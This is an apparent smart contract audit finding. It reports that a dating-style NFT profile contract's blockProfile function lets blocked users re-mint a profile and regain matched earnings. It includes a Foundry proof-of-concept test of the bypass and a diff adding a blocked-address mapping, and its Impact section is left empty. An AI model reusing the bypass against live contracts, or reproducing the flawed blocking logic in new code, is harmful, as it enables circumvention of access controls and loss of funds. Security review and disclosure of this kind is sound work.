Summary
A blocked user can mint a new NFT and regain access to their previous earnings.
Vulnerability Details
The SoulboundProfileNFT::blockProfile
function burns the user's profile but does not add their address to blocklist or prevent them from minting a new one. This allows blocked users to circumvent the blocking mechanism and create profile again.
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
emit ProfileBurned(blockAddress, tokenId);
}
Proof of Concept
Consider this scenario
There are 2 users -- USER1 and USER2
USER1 liked USER2 and paid 1 ether to USER2
The protocol realized USER2 is malicious and blocked USER2's profile
USER2 tries to like USER1 back but the transaction reverted since they have been blocked.
USER2 proved to be malicious and re-minted profile with same address.
USER2 then liked USER1 to match them together, and recovers their balances before their profile was blocked.
Code
Here is the code the prove the scenario. Create a new test file LikeRegistryTest.t.sol
and add to the test/
directory.
Then run the command below;
forge test --mt test_uselessBlockProfile
pragma solidity ^0.8.19;
import {LikeRegistry} from "../src/LikeRegistry.sol";
import {SoulboundProfileNFT} from "../src/SoulboundProfileNFT.sol";
import {console, Test} from "forge-std/Test.sol";
contract LikeRegistryTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry likeRegistry;
address user1 = makeAddr("USER1");
address user2 = makeAddr("USER2");
uint256 constant STARTING_BALANCE = 100 ether;
uint256 constant DEPOSIT_AMOUNT = 1 ether;
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(soulboundNFT));
vm.deal(user1, STARTING_BALANCE);
vm.deal(user2, STARTING_BALANCE);
}
modifier mintBothUsers() {
vm.prank(user1);
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
vm.prank(user2);
soulboundNFT.mintProfile("Bob", 29, "ipfs://BobprofileImage");
uint256 user1TokenId = soulboundNFT.profileToToken(user1);
assertEq(user1TokenId, 1, "Token ID for user 1 should be 1");
uint256 user2TokenId = soulboundNFT.profileToToken(user2);
assertEq(user2TokenId, 2, "Token ID for user 2 should be 2");
_;
}
function test_uselessBlockProfile() public mintBothUsers {
vm.prank(user1);
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user2);
soulboundNFT.blockProfile(user2);
vm.startPrank(user2);
vm.expectRevert("Must have a profile NFT");
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user1);
soulboundNFT.mintProfile("Bob", 29, "ipfs://BobprofileImage");
likeRegistry.likeUser{value: DEPOSIT_AMOUNT}(user1);
vm.stopPrank();
assertEq(likeRegistry.matches(user1, 0), user2);
assertEq(likeRegistry.matches(user2, 0), user1);
}
}
Impact
Tools Used
Manual code review.
Foundry (forge).
Recommendations
Maintain a list of blocked addresses in the SoulboundProfileNFT
contract and prevent them from minting new profiles:
+ mapping(address => bool) public blockedAddresses;
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ require(!blockedAddresses[msg.sender], "Address is blocked");
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
+ blockedAddresses[blockAddress] = true;
emit ProfileBurned(blockAddress, tokenId);
}